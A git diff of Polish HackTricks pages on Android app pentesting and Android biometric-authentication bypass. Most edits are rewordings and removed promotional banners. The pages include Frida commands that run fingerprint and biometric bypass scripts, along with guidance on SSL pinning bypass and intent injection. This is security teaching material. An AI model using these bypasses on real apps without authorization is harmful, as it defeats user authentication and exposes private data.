źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sankcji** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe użytkownika mogą spowodować szkody) i **reguł**. Te reguły wskazują na **kombinację** **źródeł-sankcji**, która wskazuje na lukę. +Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sankcji** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) i **reguł**. Te reguły wskazują na **kombinację** **źródeł-sankcji**, która wskazuje na lukę. Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**. @@ -225,21 +210,6 @@ content-protocol.md --- -
- -Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów! - -**Wgląd w hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem. - -**Aktualności o hackingu w czasie rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom. - -**Najnowsze ogłoszenia**\ -Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjami platformy. - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś! - --- ## Analiza dynamiczna @@ -248,7 +218,7 @@ Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjam ### Analiza dynamiczna online -Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak działa apk. +Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak zachowuje się apk. Możesz nawet **zobaczyć logi swojej aplikacji** w sieci i połączyć się przez **adb**. @@ -260,20 +230,20 @@ Dzięki połączeniu ADB możesz używać **Drozer** i **Frida** wewnątrz emula #### Używając emulatora -- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** **obsługują biblioteki ARM** bez potrzeby używania wolnego emulatora arm). +- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** obsługują biblioteki ARM bez potrzeby używania wolnego emulatora arm). - Dowiedz się, jak to skonfigurować na tej stronie: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Darmowa wersja:** Edycja osobista, musisz założyć konto. _Zaleca się **pobranie** wersji **Z** _**VirtualBox**, aby uniknąć potencjalnych błędów._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Wersja darmowa:** Edycja osobista, musisz założyć konto. _Zaleca się **pobranie** wersji **Z** _**VirtualBox**, aby uniknąć potencjalnych błędów._) - [**Nox**](https://es.bignox.com) (Darmowy, ale nie obsługuje Frida ani Drozer). > [!NOTE] > Podczas tworzenia nowego emulatora na jakiejkolwiek platformie pamiętaj, że im większy ekran, tym wolniej będzie działał emulator. Wybierz małe ekrany, jeśli to możliwe. -Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony przycisk zaznaczony na poniższym obrazku: +Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony przycisk zaznaczony na poniższym obrazie: ![](<../../images/image (277).png>) @@ -289,22 +259,22 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z 4. Naciśnij **Numer kompilacji** 7 razy. 5. Wróć i znajdziesz **Opcje dewelopera**. -> Gdy zainstalujesz aplikację, pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\ -> Sugeruję **przeprowadzenie tej wstępnej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **dowiedzieć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć. +> Po zainstalowaniu aplikacji, pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\ +> Sugeruję **przeprowadzenie tej początkowej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **nauczyć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć. ### Niezamierzony wyciek danych **Logowanie** -Deweloperzy powinni być ostrożni, aby nie ujawniać **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność. +Deweloperzy powinni być ostrożni w ujawnianiu **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność. > [!WARNING] -> Zauważ, że od **nowszych wersji niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Tak więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\ +> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Tak więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\ > Tak czy inaczej, nadal zaleca się **nie logować wrażliwych informacji**. -**Bufor kopiuj/wklej** +**Bufor kopiowania/wklejania** -Oparty na **schowku** framework Androida umożliwia funkcjonalność kopiuj-wklej w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych. +Oparty na **schowku** framework Androida umożliwia funkcjonalność kopiowania i wklejania w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych. **Logi awarii** @@ -318,7 +288,7 @@ Aplikacje często integrują usługi takie jak Google Adsense, co może nieumyś ### Bazy danych SQLite -Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do przechowywania informacji. Podczas pentestu zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\ +Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas pentestu zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\ Bazy danych powinny znajdować się w `/data/data/the.package.name/databases`, jak `/data/data/com.mwr.example.sieve/databases`. Jeśli baza danych zapisuje poufne informacje i jest **szyfrowana**, ale możesz **znaleźć** **hasło** wewnątrz aplikacji, to nadal jest to **luka**. @@ -333,7 +303,7 @@ Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności, ### Eksploatacja eksportowanych aktywności [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest aktywność Androida.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Pamiętaj również, że kod aktywności zaczyna się w metodzie **`onCreate`**. +Pamiętaj również, że kod aktywności zaczyna się w **metodzie `onCreate`**. **Ominięcie autoryzacji** @@ -415,13 +385,13 @@ Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz by **Więcej przykładów** -Interesujący raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_). +Ciekawe [zgłoszenie bug bounty](https://hackerone.com/reports/855618) dotyczące linków (_/.well-known/assetlinks.json_). ### Wykrywanie i weryfikacja warstwy transportowej - **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP. -- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), co pozwala atakującym na odszyfrowanie danych. -- **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty. +- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych. +- **Wycieki prywatnych informacji** stanowią ryzyko, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty. #### Weryfikacja certyfikatu @@ -433,9 +403,9 @@ SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfika #### Inspekcja ruchu -Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu, zaszyfrowany ruch może być niewidoczny przez proxy. Aby uzyskać przewodnik dotyczący instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać instrukcje dotyczące instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**odwołaj się do tego samouczka**](make-apk-accept-ca-certificate.md). +Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**zobacz ten samouczek**](make-apk-accept-ca-certificate.md). #### Obejście SSL Pinning @@ -449,15 +419,15 @@ Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspi #### Szukanie powszechnych podatności w sieci -Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione gdzie indziej. +Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach. ### Frida [Frida](https://www.frida.re) to zestaw narzędzi do dynamicznej instrumentacji dla programistów, inżynierów odwrotnych i badaczy bezpieczeństwa.\ -**Możesz uzyskać dostęp do działającej aplikacji i podpiąć metody w czasie rzeczywistym, aby zmienić zachowanie, zmienić wartości, wyodrębnić wartości, uruchomić inny kod...**\ +**Możesz uzyskać dostęp do działającej aplikacji i podłączyć metody w czasie rzeczywistym, aby zmienić zachowanie, zmienić wartości, wyodrębnić wartości, uruchomić inny kod...**\ Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak używać Frida. -- Naucz się, jak używać Frida: [**Frida tutorial**](frida-tutorial/) +- Naucz się, jak używać Frida: [**Samouczek Frida**](frida-tutorial/) - Nieco "GUI" do działań z Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection jest świetny do automatyzacji użycia Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - Możesz znaleźć kilka niesamowitych skryptów Frida tutaj: [**https://codeshare.frida.re/**](https://codeshare.frida.re) @@ -496,15 +466,15 @@ Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniani ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` -### **Obrazy w tle** +### **Obrazy tła** Gdy umieszczasz aplikację w tle, Android przechowuje **zrzut ekranu aplikacji**, aby po przywróceniu do pierwszego planu zaczęła ładować obraz przed aplikacją, co sprawia, że wygląda na to, że aplikacja została załadowana szybciej. -Jednak jeśli ten zrzut zawiera **wrażliwe informacje**, ktoś z dostępem do zrzutu może **ukraść te informacje** (zauważ, że potrzebujesz roota, aby uzyskać do niego dostęp). +Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dostępem do zrzutu może **ukraść te informacje** (zauważ, że potrzebujesz roota, aby uzyskać do niego dostęp). -Zrzuty są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`** +Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`** -Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach. +Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych wyświetlaczach. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -516,18 +486,18 @@ To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas analizy Programiści często tworzą komponenty proxy, takie jak aktywności, usługi i odbiorniki rozgłoszeniowe, które obsługują te Intencje i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne. -Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub uzyskiwania dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji. +Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje URL-e na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji. ### Kluczowe Wnioski - **Wstrzykiwanie Intencji** jest podobne do problemu Open Redirect w sieci. - Eksploity polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji. - Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym. -- Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania. +- Konwersja URL-a na `Intent` w `WebView` może ułatwiać niezamierzone działania. ### Wstrzyknięcia po stronie klienta Android i inne -Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android: +Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android: - **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych. - **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebView (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled). @@ -537,21 +507,6 @@ Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie os --- -
- -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów! - -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem. - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom. - -**Najnowsze Ogłoszenia**\ -Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy. - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - ## Analiza Automatyczna ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) @@ -579,7 +534,7 @@ MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **Viru - Przechwytywać **ruch HTTPS** - Używać **Frida** do uzyskiwania **informacji w czasie rzeczywistym** -Od wersji Android **> 5**, **automatycznie uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji. +Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji. **Frida** @@ -598,7 +553,7 @@ Ponadto masz kilka dodatkowych funkcji Frida: - **Capture String Comparisons**: Może być bardzo przydatne. Pokaże **2 porównywane ciągi** i czy wynik był prawdziwy czy fałszywy. - **Enumerate Class Methods**: Podaj nazwę klasy (np. "java.io.File") i wydrukuje wszystkie metody klasy. - **Search Class Pattern**: Wyszukaj klasy według wzoru -- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod Android API. +- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida. Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**". @@ -615,7 +570,7 @@ receivers ``` **Narzędzia HTTP** -Gdy ruch http jest przechwytywany, możesz zobaczyć brzydki widok przechwyconego ruchu na "**HTTP(S) Traffic**" na dole lub ładniejszy widok w zielonym przycisku "**Start HTTPTools**". Z drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxy** takich jak Burp lub Owasp ZAP.\ +Gdy ruch http jest przechwytywany, możesz zobaczyć brzydki widok przechwyconego ruchu na "**HTTP(S) Traffic**" na dole lub ładniejszy widok w "**Start HTTPTools**" na zielonym przycisku. Z drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxy** takich jak Burp lub Owasp ZAP.\ Aby to zrobić, _włącz Burp -->_ _wyłącz Intercept --> w MobSB HTTPTools wybierz żądanie_ --> naciśnij "**Send to Fuzzer**" --> _wybierz adres proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Po zakończeniu analizy dynamicznej z MobSF możesz nacisnąć "**Start Web API Fuzzer**", aby **fuzzować żądania http** i szukać luk. @@ -630,7 +585,7 @@ Po zakończeniu analizy dynamicznej z MobSF możesz nacisnąć "**Start Web API ### Wspomagana analiza dynamiczna z Inspeckage Możesz pobrać narzędzie z [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -To narzędzie użyje kilku **Hooków**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**. +To narzędzie użyje kilku **Hooks**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) @@ -662,7 +617,7 @@ reverse-apk relative/path/to/APP.apk SUPER to aplikacja działająca w wierszu poleceń, która może być używana w systemach Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu luk. Robi to, dekompresując APK i stosując szereg reguł w celu wykrycia tych luk. -Wszystkie reguły są skoncentrowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują. +Wszystkie reguły są zawarte w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują. Pobierz najnowsze pliki binarne z [strony pobierania](https://superanalyzer.rocks/download.html) ``` @@ -723,7 +678,7 @@ Zauważ, że w zależności od usługi i konfiguracji, której używasz do obfus ### [ProGuard]() -Z [Wikipedia](): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2. +Z [Wikipedia](): **ProGuard** to narzędzie open source wiersza poleceń, które zmniejsza, optymalizuje i obfuskacje kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2. ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie release. @@ -745,13 +700,17 @@ Znajdź przewodnik krok po kroku, jak deobfuskować apk w [https://blog.lexfo.fr Możesz przesłać obfuskowane APK na ich platformę. +### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) + +To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach androidowych i deobfuskacji kodu aplikacji androidowych. Używa publicznego API Google'a Gemini. + ### [Simplify](https://github.com/CalebFenton/simplify) To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD dostarcza informacji o **tym, jak APK zostało stworzone**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida. +APKiD dostarcza informacji o **tym, jak stworzono APK**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida. ### Manual @@ -761,7 +720,7 @@ APKiD dostarcza informacji o **tym, jak APK zostało stworzone**. Identyfikuje w ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania. +AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, zawierająca zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania. ## References @@ -777,19 +736,4 @@ AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, kt - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) -
- -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Hacking Insights**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Real-Time Hack News**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym - -**Latest Announcements**\ -Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjami platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md index 66029a829..db886745e 100644 --- a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md +++ b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md @@ -1,16 +1,10 @@ -# Ominięcie uwierzytelniania biometrycznego (Android) +# Bypass Biometric Authentication (Android) {{#include ../../banners/hacktricks-training.md}} -
- -Pogłęb swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Android dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} - ## **Metoda 1 – Ominięcie bez użycia obiektu Crypto** -Skupiamy się tutaj na _onAuthenticationSucceeded_ callback, który jest kluczowy w procesie uwierzytelniania. Badacze z WithSecure opracowali [skrypt Frida](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), umożliwiający ominięcie NULL _CryptoObject_ w _onAuthenticationSucceeded(...)_. Skrypt wymusza automatyczne ominięcie uwierzytelniania odciskiem palca po wywołaniu metody. Poniżej znajduje się uproszczony fragment demonstrujący ominięcie w kontekście Android Fingerprint, a pełna aplikacja dostępna jest na [GitHub](https://github.com/St3v3nsS/InsecureBanking). +Skupiamy się tutaj na wywołaniu _onAuthenticationSucceeded_, które jest kluczowe w procesie uwierzytelniania. Badacze z WithSecure opracowali [skrypt Frida](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), umożliwiający ominięcie NULL _CryptoObject_ w _onAuthenticationSucceeded(...)_. Skrypt wymusza automatyczne ominięcie uwierzytelniania odciskiem palca po wywołaniu metody. Poniżej znajduje się uproszczony fragment demonstrujący ominięcie w kontekście odcisku palca w Androidzie, a pełna aplikacja jest dostępna na [GitHub](https://github.com/St3v3nsS/InsecureBanking). ```javascript biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() { @Override @@ -25,7 +19,7 @@ frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-byp ``` ## **Metoda 2 – Podejście do obsługi wyjątków** -Inny [skrypt Frida](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) od WithSecure dotyczy omijania niebezpiecznego użycia obiektu Crypto. Skrypt wywołuje _onAuthenticationSucceeded_ z _CryptoObject_, który nie został autoryzowany przez odcisk palca. Jeśli aplikacja spróbuje użyć innego obiektu szyfrującego, spowoduje to wywołanie wyjątku. Skrypt przygotowuje się do wywołania _onAuthenticationSucceeded_ i obsługi _javax.crypto.IllegalBlockSizeException_ w klasie _Cipher_, zapewniając, że kolejne obiekty używane przez aplikację są szyfrowane nowym kluczem. +Inny [skrypt Frida](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) od WithSecure dotyczy omijania niebezpiecznego użycia obiektu kryptograficznego. Skrypt wywołuje _onAuthenticationSucceeded_ z _CryptoObject_, który nie został autoryzowany przez odcisk palca. Jeśli aplikacja spróbuje użyć innego obiektu szyfrującego, spowoduje to wywołanie wyjątku. Skrypt przygotowuje się do wywołania _onAuthenticationSucceeded_ i obsługi _javax.crypto.IllegalBlockSizeException_ w klasie _Cipher_, zapewniając, że kolejne obiekty używane przez aplikację są szyfrowane nowym kluczem. Polecenie do uruchomienia skryptu Frida: ```bash @@ -43,36 +37,31 @@ Hooking FingerprintManager.authenticate()... Ramy instrumentacji, takie jak Xposed lub Frida, mogą być używane do podłączania się do metod aplikacji w czasie rzeczywistym. W przypadku uwierzytelniania za pomocą odcisku palca, te ramy mogą: -1. **Zasymulować Wywołania Uwierzytelniania**: Poprzez podłączenie się do metod `onAuthenticationSucceeded`, `onAuthenticationFailed` lub `onAuthenticationError` klasy `BiometricPrompt.AuthenticationCallback`, możesz kontrolować wynik procesu uwierzytelniania za pomocą odcisku palca. +1. **Zasymulować Wywołania Uwierzytelnienia**: Poprzez podłączenie się do metod `onAuthenticationSucceeded`, `onAuthenticationFailed` lub `onAuthenticationError` klasy `BiometricPrompt.AuthenticationCallback`, możesz kontrolować wynik procesu uwierzytelniania za pomocą odcisku palca. 2. **Obejść SSL Pinning**: To pozwala atakującemu na przechwycenie i modyfikację ruchu między klientem 